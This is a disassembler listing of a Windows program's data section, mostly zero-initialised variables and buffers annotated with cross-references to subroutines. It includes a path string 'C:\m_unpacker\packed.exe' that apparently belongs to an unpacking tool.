byte_43C3FC db 0 ; DATA XREF: sub_40144A+26Aw
byte_43C3FD db 0 ; DATA XREF: sub_40144A+27Dw
word_43C3FE dw 0 ; DATA XREF: sub_40144A+295w
word_43C400 dw 0 ; DATA XREF: sub_40144A+2A4w
word_43C402 dw 0 ; DATA XREF: sub_40144A+29Cw
dword_43C404 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o
dword_43C808 dd 0 ; DATA XREF: sub_4029E9+9Eo
byte_43C80C db 0 ; DATA XREF: sub_4029E9+36r
; sub_402ACC+37r ...
align 10h
dword_43C810 dd 0 ; DATA XREF: sub_4030D1+10w
; sub_4030E8+30r ...
dd 2 dup(0)
dword_43C81C dd 2 dup(0) ; DATA XREF: sub_403EBA+68o
dword_43C824 dd 0 ; DATA XREF: sub_40395A+13o
; sub_40EE72+610Do ...
dword_43C828 dd 0 ; DATA XREF: sub_404853+8w
; ___:00404C22o
align 10h
dword_43C830 dd 2 dup(0) ; DATA XREF: ___:00404B58o
dword_43C838 dd 0 ; DATA XREF: sub_4059DB+2Aw
; sub_4059DB+51r ...
dword_43C83C dd 0 ; DATA XREF: sub_4030E8+AEr
; ___:004042D4r ...
dd 2 dup(0)
dword_43C848 dd 0 ; DATA XREF: sub_4071DB+18r
; sub_40762E+92w ...
dword_43C84C dd 0 ; DATA XREF: sub_407767+4Dr
; sub_40797F+D9w ...
dd 3E6h dup(0)
dword_43D7E8 dd 6 dup(0) ; DATA XREF: sub_407767+D2o
; sub_407767+13Bo ...
dword_43D800 dd 0 ; DATA XREF: sub_407252+82w
; sub_407252+102o
dword_43D804 dd 41h dup(0) ; DATA XREF: sub_407252+41o
dword_43D908 dd 41h dup(0) ; DATA XREF: sub_407252+63o
dword_43DA0C dd 0 ; DATA XREF: sub_407252+F8w
; sub_407252+114r
dword_43DA10 dd 0 ; DATA XREF: sub_407252+52w
dword_43DA14 dd 0 ; DATA XREF: sub_407252+4Dw
; sub_407252+CFr
dword_43DA18 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao
; sub_407252+BAo
dword_43DA98 dd 0 ; DATA XREF: sub_407252+8Fw
dword_43DA9C dd 0 ; DATA XREF: sub_407252+A7w
; sub_407252+C7w
dword_43DAA0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr
align 8
dword_43DAA8 dd 0 ; DATA XREF: sub_407252+2D5w
; sub_407252+32Eo
dword_43DAAC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o
dword_43DD34 dd 41h dup(0) ; DATA XREF: sub_407252+28Do
dword_43DE38 dd 0 ; DATA XREF: sub_407252+2BAw
; sub_407252+2E1r
align 10h
dword_43DE40 dd 0 ; DATA XREF: sub_407252+324w
; sub_407252+340r
dword_43DE44 dd 0 ; DATA XREF: sub_407252+2E7w
dword_43DE48 dd 0 ; DATA XREF: sub_407252+2F4w
dword_43DE4C dd 0 ; DATA XREF: sub_407252+2B4w
dd 0
dword_43DE54 dd 0 ; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58 dd 0 ; DATA XREF: sub_407252+1A1w
; sub_407252+221o
dword_43DE5C dd 41h dup(0) ; DATA XREF: sub_407252+163o
dword_43DF60 dd 41h dup(0) ; DATA XREF: sub_407252+182o
dword_43E064 dd 0 ; DATA XREF: sub_407252+217w
; sub_407252+233r
dword_43E068 dd 0 ; DATA XREF: sub_407252+171w
dword_43E06C dd 0 ; DATA XREF: sub_407252+1EEr
dword_43E070 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o
; sub_407252+1D9o
dword_43E0F0 dd 0 ; DATA XREF: sub_407252+1AEw
dword_43E0F4 dd 0 ; DATA XREF: sub_407252+1C6w
; sub_407252+1E6w
dword_43E0F8 dd 0 ; DATA XREF: sub_407252:loc_40749Cr
align 10h
dword_43E100 dd 0 ; DATA XREF: sub_4087EE+Fr
; sub_4089E7+12r
align 8
dword_43E108 dd 80h dup(0) ; DATA XREF: sub_409706+41o
dword_43E308 dd 200h dup(0) ; DATA XREF: sub_409037+C7o
; sub_409392+DDo ...
dword_43EB08 dd 200h dup(0) ; DATA XREF: sub_409037+D6o
; sub_409392+F4o ...
dword_43F308 dd 0 ; DATA XREF: sub_409037+86w
; sub_409209+94r
dword_43F30C dd 0 ; DATA XREF: sub_409037+A7w
; sub_40966F+55r ...
dword_43F310 dd 0 ; DATA XREF: sub_409037+A0w
; sub_409209+D6r ...
dword_43F314 dd 0 ; DATA XREF: sub_409037+79w
; sub_409209+35r ...
dword_43F318 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo
dword_43F518 dd 0 ; DATA XREF: sub_409037+93w
; sub_409209+A2r
align 10h
dword_43F520 dd 0 ; DATA XREF: sub_409037+E7o
; sub_409037+103r ...
dword_43F524 dd 0 ; DATA XREF: sub_409392+17Bw
; sub_409539+107w
dword_43F528 dd 0 ; DATA XREF: sub_409392+180w
; sub_409539+10Dw ...
dword_43F52C dd 0 ; DATA XREF: sub_409392+159w
; sub_40966F+4Fr
dword_43F530 dd 0 ; DATA XREF: sub_4085B3+210r
; sub_4085B3+21Ar ...
dword_43F534 dd 0 ; DATA XREF: sub_40981F+65w
; sub_41518A+F5r
dword_43F538 dd 0 ; DATA XREF: sub_40981F+7EDw
; sub_40981F+862r ...
dword_43F53C dd 0 ; DATA XREF: sub_40981F+9BAw
; sub_40981F+A18r ...
dword_43F540 dd 0 ; DATA XREF: sub_40981F+96Cw
; sub_40981F+9E8r ...
dword_43F544 dd 0 ; DATA XREF: sub_4085B3+D1r
; sub_40981F+46Fw ...
dword_43F548 dd 0 ; DATA XREF: sub_4023A7+ECr
; sub_4023A7+109r ...
dword_43F54C dd 0 ; DATA XREF: sub_40981F+9ADw
; sub_40981F+A10r ...
dword_43F550 dd 0 ; DATA XREF: sub_40981F+354w
; sub_40981F+3A9r ...
dword_43F554 dd 0 ; DATA XREF: sub_40981F+3F1w
; sub_40B8D8+11Er
dword_43F558 dd 0 ; DATA XREF: sub_40981F+361w
; sub_40981F+3B1r ...
dword_43F55C dd 0 ; DATA XREF: sub_40981F+3A2w
; sub_40DCE6+ADr
dword_43F560 dd 0 ; DATA XREF: sub_405AF2+115r
; sub_4084B3+7Dr ...
dword_43F564 dd 0 ; DATA XREF: sub_40981F+72w
; sub_40981F+D2r ...
dword_43F568 dd 0 ; DATA XREF: sub_40981F+95Fw
; sub_40981F+9DBr ...
dword_43F56C dd 0 ; DATA XREF: sub_40981F+388w
; sub_40981F+3C9r ...
dword_43F570 dd 0 ; DATA XREF: sub_40981F+83Bw
; sub_40981F+88Er ...
dword_43F574 dd 0 ; DATA XREF: sub_408C26+58r
; sub_40981F+2A5w ...
dword_43F578 dd 0 ; DATA XREF: sub_40981F+82Ew
; sub_40981F+886r ...
dword_43F57C dd 0 ; DATA XREF: sub_40981F+B3w
dword_43F580 dd 0 ; DATA XREF: sub_40981F+848w
; sub_40981F+896r ...
dword_43F584 dd 0 ; DATA XREF: sub_407BDE+7Er
; sub_40981F+52Fw ...
dword_43F588 dd 0 ; DATA XREF: sub_40981F+58w
; sub_40981F+CAr ...
dword_43F58C dd 0 ; DATA XREF: sub_40981F+916w
; sub_40AF86+11Ar
dword_43F590 dd 0 ; DATA XREF: sub_40981F+A66w
; sub_40981F+A6Dr ...
dword_43F594 dd 0 ; DATA XREF: sub_40981F+A6w
; sub_40981F+F2r
dword_43F598 dd 0 ; DATA XREF: sub_4085B3+119r
; sub_40981F+462w ...
dword_43F59C dd 0 ; DATA XREF: sub_4075E6+20r
; sub_40981F+5D8w
dword_43F5A0 dd 0 ; DATA XREF: sub_40981F+9A0w
; sub_40981F+A08r
dword_43F5A4 dd 0 ; DATA XREF: sub_402688+280r
; sub_40981F+5CBw ...
dword_43F5A8 dd 0 ; DATA XREF: sub_402ACC+9Ar
; sub_40981F+B21w
dword_43F5AC dd 0 ; DATA XREF: sub_40981F+7E0w
; sub_40981F+84Fr ...
dword_43F5B0 dd 0 ; DATA XREF: sub_40981F+1B3w
; sub_40AC20+15r
dword_43F5B4 dd 0 ; DATA XREF: sub_40981F+979w
; sub_40981F+9F0r ...
dword_43F5B8 dd 0 ; DATA XREF: sub_40981F+36Ew
; sub_40981F+3B9r ...
dword_43F5BC dd 0 ; DATA XREF: sub_40981F+37Bw
; sub_40981F+3C1r ...
dword_43F5C0 dd 0 ; DATA XREF: sub_4087EE+28r
; sub_4089E7+2Br ...
dword_43F5C4 dd 0 ; DATA XREF: sub_40981F+68Ew
; ___:00415550r
dword_43F5C8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r
; sub_401A76:loc_401D1Cr ...
dword_43F5CC dd 0 ; DATA XREF: sub_4085B3+207r
; sub_40981F+496w
dword_43F5D0 dd 0 ; DATA XREF: sub_40981F+9C7w
; sub_40981F+A20r ...
dword_43F5D4 dd 0 ; DATA XREF: sub_40981F+2B2w
; sub_40981F+2DEr ...
dword_43F5D8 dd 0 ; DATA XREF: sub_40981F+7Fw
; sub_40981F+DAr ...
dword_43F5DC dd 0 ; DATA XREF: sub_40981F+B6Ew
; sub_40981F+B75r ...
dword_43F5E0 dd 0 ; DATA XREF: sub_4010B5+2Fr
; sub_401A76+2Fr ...
dword_43F5E4 dd 0 ; DATA XREF: sub_40981F+807w
; sub_40981F+872r ...
dword_43F5E8 dd 0 ; DATA XREF: sub_40981F+986w
; sub_40981F+9F8r
dword_43F5EC dd 0 ; DATA XREF: sub_40981F+BDFw
; sub_40981F+C10r
dword_43F5F0 dd 0 ; DATA XREF: sub_4023A7+40r
; sub_4023A7+63r ...
dword_43F5F4 dd 0 ; DATA XREF: sub_40981F+8FCw
; sub_40981F+910r ...
dword_43F5F8 dd 0 ; DATA XREF: sub_40981F+BF9w
dword_43F5FC dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr
; sub_40144A+3Cr ...
dword_43F600 dd 0 ; DATA XREF: sub_40981F+821w
; sub_40981F+855r
dword_43F604 dd 0 ; DATA XREF: sub_4023A7+50r
; sub_4023A7+78r ...
dword_43F608 dd 0 ; DATA XREF: sub_4087EE+3Fr
; sub_4087EE+69r ...
dword_43F60C dd 0 ; DATA XREF: sub_40981F+65Aw
; sub_40981F+786r ...
dword_43F610 dd 0 ; DATA XREF: sub_402DD7+20Ar
; sub_4030E8+5Er ...
dword_43F614 dd 0 ; DATA XREF: sub_402688+16Er
; sub_40981F+549w ...
dword_43F618 dd 0 ; DATA XREF: sub_40981F+8BDw
; sub_40981F:loc_40A0FAw ...
dword_43F61C dd 0 ; DATA XREF: sub_40981F+28Bw
; sub_40981F+2C6r ...
dword_43F620 dd 0 ; DATA XREF: ___:00407DFEr
; sub_40981F+681w ...
dword_43F624 dd 0 ; DATA XREF: sub_40981F+30Fw
; sub_40981F+323r ...
dword_43F628 dd 0 ; DATA XREF: sub_40981F+395w
; sub_40981F+3D1r ...
dword_43F62C dd 0 ; DATA XREF: sub_40981F+BD2w
; sub_40981F+C08r
dword_43F630 dd 0 ; DATA XREF: sub_40981F+7FAw
; sub_40981F+86Ar ...
dword_43F634 dd 0 ; DATA XREF: sub_4023A7+FCr
; sub_40981F+206w ...
dword_43F638 dd 0 ; DATA XREF: sub_40981F+18Cw
; sub_40981F+1D2r ...
dword_43F63C dd 0 ; DATA XREF: sub_40981F+814w
; sub_40981F+87Ar ...
dword_43F640 dd 0 ; DATA XREF: sub_406C19+244r
; sub_40981F+606w ...
dword_43F644 dd 0 ; DATA XREF: sub_408C26+18Ar
; sub_40981F+2BFw ...
dword_43F648 dd 0 ; DATA XREF: sub_4010B5+6Fr
; sub_40144A+AAr ...
dword_43F64C dd 0 ; DATA XREF: sub_40981F+302w
; sub_40981F+316r ...
dword_43F650 dd 0 ; DATA XREF: sub_405AF2+F9r
; sub_406C19+1FCr ...
dword_43F654 dd 0 ; DATA XREF: sub_4085B3+16r
; sub_40981F+42Ew ...
dword_43F658 dd 0 ; DATA XREF: sub_40981F+199w
; sub_40981F+1DAr ...
dword_43F65C dd 0 ; DATA XREF: sub_40981F+347w
; sub_40981F+39Cr ...
dword_43F660 dd 0 ; DATA XREF: sub_40981F+A73w
dword_43F664 dd 0 ; DATA XREF: sub_4010B5+EBr
; sub_4010B5+1F9r ...
dword_43F668 dd 0 ; DATA XREF: sub_4010B5+87r
; sub_4010B5+9Dr ...
dword_43F66C dd 0 ; DATA XREF: sub_40981F+4Bw
; sub_40981F+C2r ...
dword_43F670 dd 0 ; DATA XREF: sub_4085B3+2Cr
; sub_4085B3+38r ...
dword_43F674 dd 0 ; DATA XREF: sub_40981F+165w
; sub_40981F+1BAr ...
dword_43F678 dd 0 ; DATA XREF: sub_40981F+9E1w
; sub_40E5EB+72r
dword_43F67C dd 0 ; DATA XREF: sub_40981F+667w
; sub_40981F+78Er
dword_43F680 dd 0 ; DATA XREF: sub_402688+205r
; sub_402DD7+23Br ...
dword_43F684 dd 0 ; DATA XREF: sub_40981F+BECw
; sub_40981F+C18r
dword_43F688 dd 0 ; DATA XREF: sub_40981F+3Ew
; sub_40981F+BAr ...
dword_43F68C dd 0 ; DATA XREF: sub_40981F+298w
; sub_40981F+2CEr ...
dword_43F690 dd 0 ; DATA XREF: sub_405AF2+9Er
; sub_407BDE+9Cr ...
dword_43F694 dd 0 ; DATA XREF: sub_402688+EBr
; sub_405AF2+89r ...
dword_43F698 dd 0 ; DATA XREF: sub_40981F+C63w
; sub_40EE72+4626r
dword_43F69C dd 0 ; DATA XREF: sub_40981F+85Bw
; sub_40BC4B+205r ...
dword_43F6A0 dd 0 ; DATA XREF: sub_40981F+112w
dword_43F6A4 dd 0 ; DATA XREF: sub_40981F+BB8w
; sub_40981F+BF3r
dword_43F6A8 dd 0 ; DATA XREF: sub_40144A+119r
; sub_40144A+1A0r ...
dword_43F6AC dd 0 ; DATA XREF: sub_4085B3+BCr
; sub_40981F+43Bw ...
dword_43F6B0 dd 0 ; DATA XREF: sub_4085B3+FBr
; sub_40981F+47Cw ...
dword_43F6B4 dd 0 ; DATA XREF: sub_4085B3+65r
; sub_40981F+448w ...
dword_43F6B8 dd 0 ; DATA XREF: sub_402DD7+221r
; sub_402DD7+249r ...
dword_43F6BC dd 0 ; DATA XREF: sub_40981F+1A6w
; sub_40981F+1E2r ...
dword_43F6C0 dd 0 ; DATA XREF: sub_40981F+9D4w
; sub_40981F+A28r ...
dword_43F6C4 dd 0 ; DATA XREF: sub_4087EE+53r
; sub_4087EE+7Fr ...
dword_43F6C8 dd 0 ; DATA XREF: sub_40981F+8Cw
; sub_40981F+E2r ...
dword_43F6CC dd 0 ; DATA XREF: sub_4010B5+2C2r
; sub_40144A+2DAr ...
dword_43F6D0 dd 0 ; DATA XREF: sub_40981F+B14w
; sub_40981F+B30r
dword_43F6D4 dd 0 ; DATA XREF: sub_40981F+31Cw
; sub_41511F+55r
dword_43F6D8 dd 0 ; DATA XREF: sub_408C26+3Fr
; sub_40981F+27Ew ...
dword_43F6DC dd 0 ; DATA XREF: sub_40981F+B7Bw
dword_43F6E0 dd 0 ; DATA XREF: sub_40981F+ABDw
; sub_40AE02+CEr
dword_43F6E4 dd 0 ; DATA XREF: sub_40981F+AB0w
; sub_40981F+AB7r ...
dword_43F6E8 dd 0 ; DATA XREF: sub_40144A+2Er
; sub_401D82+55r ...
dword_43F6EC dd 0 ; DATA XREF: ___:00407DEEr
; sub_40981F+674w ...
dword_43F6F0 dd 0 ; DATA XREF: sub_40981F+BC5w
; sub_40981F+C00r
dword_43F6F4 dd 0 ; DATA XREF: sub_402688+28Dr
; sub_406C19+250r ...
dword_43F6F8 dd 0 ; DATA XREF: sub_40981F+993w
; sub_40981F+A00r ...
dword_43F6FC dd 0 ; DATA XREF: sub_405AF2+13Ar
; sub_407BDE+B3r ...
dword_43F700 dd 0 ; DATA XREF: sub_4010B5+324r
; sub_40144A+2F0r ...
dword_43F704 dd 0 ; DATA XREF: sub_405AF2+B7r
; sub_405AF2+39Fr ...
dword_43F708 dd 0 ; DATA XREF: sub_4029E9+B0r
; sub_4029E9+C8r ...
dword_43F70C dd 0 ; DATA XREF: sub_4010B5+4Fr
; sub_401A76+4Fr ...
dword_43F710 dd 0 ; DATA XREF: sub_40981F+AFAw
; sub_40981F+B1Br
dword_43F714 dd 0 ; DATA XREF: sub_40981F+31w
; sub_40981F+ADr ...
dword_43F718 dd 0 ; DATA XREF: sub_4087EE+1ECr
; sub_4089E7+232r ...
align 10h
dword_43F720 dd 0 ; DATA XREF: sub_40981F+909w
; sub_40981F+91Dr ...
dword_43F724 dd 0 ; DATA XREF: sub_40981F+99w
; sub_40981F+EAr ...
dword_43F728 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw
; sub_40981F+12Bw ...
dword_43F72C dd 0 ; DATA XREF: sub_40981F+126w
; sub_40A4AC+1Cr
dword_43F730 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw
; sub_40981F:loc_409A74w ...
dword_43F734 dd 0 ; DATA XREF: sub_40981F+250w
; sub_40A4AC+50r
dword_43F738 dd 0 ; DATA XREF: sub_40981F:loc_409B09w
; sub_40981F:loc_409B4Ew ...
dword_43F73C dd 0 ; DATA XREF: sub_40981F+400w
; sub_40A4AC+84r
dword_43F740 dd 0 ; DATA XREF: sub_40981F:loc_409D05w
; sub_40A4AC:loc_40A55Cr
dword_43F744 dd 0 ; DATA XREF: sub_40981F+4E1w
; sub_40A4AC+B8r
dword_43F748 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w
; sub_40A4AC:loc_40A590r
dword_43F74C dd 0 ; DATA XREF: sub_40981F+7B2w
; sub_40A4AC+ECr
dword_43F750 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w
; sub_40981F+8D1w ...
dword_43F754 dd 0 ; DATA XREF: sub_40981F+8CCw
; sub_40A4AC+120r
dword_43F758 dd 0 ; DATA XREF: sub_40981F:loc_40A155w
; sub_40A4AC:loc_40A5F8r ...
dword_43F75C dd 0 ; DATA XREF: sub_40981F+931w
; sub_40A4AC+154r
dword_43F760 dd 0 ; DATA XREF: sub_40981F:loc_40A260w
; sub_40A4AC:loc_40A62Cr ...
dword_43F764 dd 0 ; DATA XREF: sub_40981F+A3Cw
; sub_40A4AC+188r
dword_43F768 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw
; sub_40A4AC:loc_40A660r
dword_43F76C dd 0 ; DATA XREF: sub_40981F+A86w
; sub_40A4AC+1BCr
dword_43F770 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w
; sub_40A4AC:loc_40A694r
dword_43F774 dd 0 ; DATA XREF: sub_40981F+AD0w
; sub_40A4AC+1F0r
dword_43F778 dd 0 ; DATA XREF: sub_40981F:loc_40A368w
; sub_40A4AC:loc_40A6C8r
dword_43F77C dd 0 ; DATA XREF: sub_40981F+B44w
; sub_40A4AC+224r
dword_43F780 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w
; sub_40A4AC:loc_40A6FCr
dword_43F784 dd 0 ; DATA XREF: sub_40981F+B8Ew
; sub_40A4AC+258r
dword_43F788 dd 0 ; DATA XREF: sub_40981F:loc_40A450w
; sub_40A4AC:loc_40A730r
dword_43F78C dd 0 ; DATA XREF: sub_40981F+C2Cw
; sub_40A4AC+28Cr
dword_43F790 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw
; sub_40A4AC:loc_40A764r
dword_43F794 dd 0 ; DATA XREF: sub_40981F+C76w
; sub_40A4AC+2C0r
dword_43F798 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao
dword_43F99C dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o
dword_43F9B0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r
; sub_40B417+54r ...
dword_43F9B4 dd 0 ; DATA XREF: sub_40B328r
; sub_40B417+37r ...
dword_43F9B8 dd 0 ; DATA XREF: sub_40B358+1Ar
; sub_40B56C+83o
dword_43F9BC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr
; sub_40B56C+11Bw
dword_43F9C0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o
; sub_40B56C:loc_40B6A9o
dword_43F9F4 dd 0 ; DATA XREF: sub_40B417+CDr
; sub_40B417+ECr ...
dd 0
dword_43F9FC dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o
dword_43FA34 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do
; sub_40C00Do ...
dword_443A34 dd 0 ; DATA XREF: sub_40BF6D+13o
; sub_40C00D+Eo ...
dword_443A38 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo
dword_443A70 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o
dword_443A78 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o
; sub_40D835+131o ...
dword_443AD4 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co
; sub_40E5EB+A5o
dword_443CD4 dd 0 ; DATA XREF: sub_40DBB0+45w
; sub_40DBB0+4Dr ...
dword_443CD8 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o
; sub_40E4B7+12Do
dword_443D34 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co
; sub_40DAF0+7Eo ...
byte_443F34 db 0 ; DATA XREF: sub_40DBB0+29r
; sub_40DBB0+34w
align 4
dword_443F38 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o
; sub_40DE07+89o ...
dword_444138 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o
; sub_40D719+5Bo
dword_444340 dd 0 ; DATA XREF: sub_40BE75+Ao
; sub_40BE75+44r ...
dd 5 dup(0)
dword_444358 dd 0 ; DATA XREF: sub_40BE75+60r
; sub_40EE72+BD6r
dd 2D9h dup(0)
dword_444EC0 dd 0 ; DATA XREF: sub_407767+A8r
; sub_40BE75+2Do ...
dword_444EC4 dd 7Fh dup(0)
dword_4450C0 dd 0 ; DATA XREF: sub_416D5C+41w
; sub_416E97+40w ...
dword_4450C4 dd 0 ; DATA XREF: sub_4060D0+23Bw
; sub_407767:loc_4077AEr ...
dword_4450C8 dd 0 ; DATA XREF: sub_40B56C+164w
; sub_416810+AEw ...
dword_4450CC dd 0 ; DATA XREF: sub_402688+E0w
; sub_405AF2+7Ew ...
dword_4450D0 dd 0 ; DATA XREF: ___:00407E84w
; ___:00407FA0r ...
dword_4450D4 dd 0 ; DATA XREF: sub_4060D0+268w
; sub_407252+122w ...
byte_4450D8 db 0 ; DATA XREF: sub_40EB92+91o
; sub_40EE72+3359r ...
align 4
dd 19Dh dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o
dword_450050 dd 0E700h dup(0)
dword_489C50 dd 0 ; DATA XREF: sub_407110:loc_40717Er
; ___:0040E6E3w ...
align 8
dword_489C58 dd 0 ; DATA XREF: ___:loc_40EAA4o
dword_489C5C dd 20h dup(0) ; DATA XREF: ___:0040EA3Co
; ___:0040EAF5o ...
dword_489CDC dd 10h dup(0) ; DATA XREF: ___:0040EA53o
; sub_40EE72+929o
dword_489D1C dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao
dword_489DAC dd 0 ; DATA XREF: ___:0040EA5Ew
; ___:0040EB0Cw ...
dword_489DB0 dd 0 ; DATA XREF: ___:0040EA7Dw
align 10h
dword_489DC0 dd 0 ; DATA XREF: sub_40EB92+72r
; sub_40EE72+273r
align 8
byte_489DC8 db 0 ; DATA XREF: sub_40ECFA+28r
; sub_40ECFA+30o
align 4
dword_489DCC dd 0 ; DATA XREF: ___:0040EAA9w
; ___:0040EAC0r ...
dword_489DD0 dd 0 ; DATA XREF: ___:0040EA41w
; sub_40EE72+8CAr
dd 2 dup(0)
dword_489DDC dd 0 ; DATA XREF: ___:004155C6r
dd 0
dword_489DE4 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do
dword_489E50 dd 0 ; DATA XREF: sub_416FA4+16o
; sub_416FC3+19o
dword_489E54 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do
byte_489FE8 db 0 ; DATA XREF: sub_416C55+6Ar
; sub_416C55+98w
align 4
dd 2 dup(0)
dword_489FF4 dd 0 ; DATA XREF: sub_417D73+Aw
dword_489FF8 dd 0 ; DATA XREF: sub_4186B1+5Er
; sub_4186B1+A4w
align 10h
word_48A000 dw 0 ; DATA XREF: sub_4186B1+55r
; sub_4186B1+9Ao
word_48A002 dw 0 ; DATA XREF: sub_4186B1+48r
db 2 dup(0)
word_48A006 dw 0 ; DATA XREF: sub_4186B1+3Br
word_48A008 dw 0 ; DATA XREF: sub_4186B1+2Er
word_48A00A dw 0 ; DATA XREF: sub_4186B1+21r
align 10h
dword_48A010 dd 0 ; DATA XREF: sub_418B6E+3Br
; sub_418B6E+91w
dword_48A014 dd 0 ; DATA XREF: sub_418833+1B9w
; sub_418D0E:loc_418D8Aw ...
dword_48A018 dd 0 ; DATA XREF: sub_4197F9+35w
; sub_41A6B7:loc_41A751w ...
dword_48A01C dd 0 ; DATA XREF: sub_41FEC6+13Ar
dd 0A28h, 501h, 5, 1
dword_48A030 dd 1 ; DATA XREF: ___:loc_40E98Cr
; ___:0041F2D1w
dword_48A034 dd 23F0B30h ; DATA XREF: ___:0040E995r
; ___:0040E9B5r ...
dd 0
dword_48A03C dd 23F0B58h ; DATA XREF: ___:0041F1CBw
; sub_421DAE+9r ...
dword_48A040 dd 0 ; DATA XREF: sub_422492+36r
dword_48A044 dd 0 ; DATA XREF: sub_421DAE+16r
; sub_42217C+4r ...
dd 0
off_48A04C dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_48A054 db 0 ; DATA XREF: sub_419B07+2Dw
; sub_41FAE7+5r
align 4
dword_48A058 dd 0 ; DATA XREF: sub_419B07+27w
dword_48A05C dd 0 ; DATA XREF: sub_419B07+4r
; sub_419B07+8Bw
dword_48A060 dd 0 ; DATA XREF: ___:loc_41F199r
; ___:loc_41F1DBr ...
align 8
dword_48A068 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_48A06C dd 0 ; DATA XREF: sub_41A8A2+37r
dd 0
dword_48A074 dd 0 ; DATA XREF: sub_417B89r
; sub_41944F:loc_41956Br ...
dword_48A078 dd 0 ; DATA XREF: sub_41AB54r
dword_48A07C dd 0 ; DATA XREF: sub_41BA22+4Bw
; sub_41BB3B+2Dw ...
dword_48A080 dd 0 ; DATA XREF: sub_41C96D+11r
; sub_41CA71+1Ar ...
byte_48A084 db 0 ; DATA XREF: sub_41C96D+3r
; sub_41C96D+98r ...
align 4
dword_48A088 dd 0 ; DATA XREF: sub_41CA71+11r
; sub_41CB4F+21w ...
byte_48A08C db 0 ; DATA XREF: sub_41CB4F+51w
align 10h
dword_48A090 dd 0 ; DATA XREF: sub_41CD45+4Er
; sub_41D120+3Ar ...
dword_48A094 dd 0 ; DATA XREF: sub_41CD45+5Cr
; sub_41D120+43r ...
dword_48A098 dd 0 ; DATA XREF: sub_417FFA+7Ar
; sub_41CEEC+5r
dword_48A09C dd 0 ; DATA XREF: sub_41D4FC+29r
dword_48A0A0 dd 2 dup(0) ; DATA XREF: sub_418790+Co
dword_48A0A8 dd 0 ; DATA XREF: sub_419063+4r
; sub_419063+6Er ...
dd 3 dup(0)
dword_48A0B8 dd 0 ; DATA XREF: sub_4199B9+61r
; sub_4199B9+BFr ...
align 10h
dword_48A0C0 dd 1 ; DATA XREF: sub_41E709+28r
; sub_41E709+4Cw ...
dword_48A0C4 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r
; sub_41EAC6+4w ...
dword_48A0C8 dd 0 ; DATA XREF: ___:0041EFE5r
; ___:0041EFF1w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
; ___:off_48A04Co
align 4
dd 3Ah dup(0)
dword_48A1D0 dd 1 ; DATA XREF: ___:0041F48Fr
; ___:0041F4B0w ...
dword_48A1D4 dd 0 ; DATA XREF: sub_41F84C+21r
dword_48A1D8 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw
; sub_41A96C+154w ...
dword_48A1DC dd 1 ; DATA XREF: sub_41FB63+26r
; sub_41FB63:loc_41FBCDw
dword_48A1E0 dd 0 ; DATA XREF: sub_41A96C+7r
align 8
word_48A1E8 dw 0 ; DATA XREF: sub_42074B+1Ao
; sub_42074B+46r
byte_48A1EA db 0 ; DATA XREF: sub_42074B+39r
align 4
dword_48A1EC dd 7 dup(0) ; DATA XREF: sub_42074B+52o
dword_48A208 dd 0 ; DATA XREF: sub_42074B+40w
; sub_42074B+5Co
dword_48A20C dd 0 ; DATA XREF: sub_42074B+4Dw
dword_48A210 dd 0 ; DATA XREF: sub_42074B+31w
dword_48A214 dd 0 ; DATA XREF: sub_42074B+52w
dword_48A218 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r
; sub_42086E+38r
align 10h
dword_48A220 dd 0 ; DATA XREF: sub_42094E+11w
; sub_42094E+63w ...
align 8
dword_48A228 dd 0 ; DATA XREF: sub_42094E+33o
; sub_42094E+46r
dword_48A22C dd 10h dup(0) ; DATA XREF: sub_42094E+C1o
word_48A26C dw 0 ; DATA XREF: sub_420BAC+A8r
word_48A26E dw 0 ; DATA XREF: sub_42094E+54r
; sub_420BAC+DBr ...
word_48A270 dw 0 ; DATA XREF: sub_420BAC+CAr
word_48A272 dw 0 ; DATA XREF: sub_420BAC+D3r
; sub_420BAC:loc_420C9Er
word_48A274 dw 0 ; DATA XREF: sub_420BAC+C0r
word_48A276 dw 0 ; DATA XREF: sub_420BAC+B8r
word_48A278 dw 0 ; DATA XREF: sub_420BAC+B0r
word_48A27A dw 0 ; DATA XREF: sub_420BAC+9Er
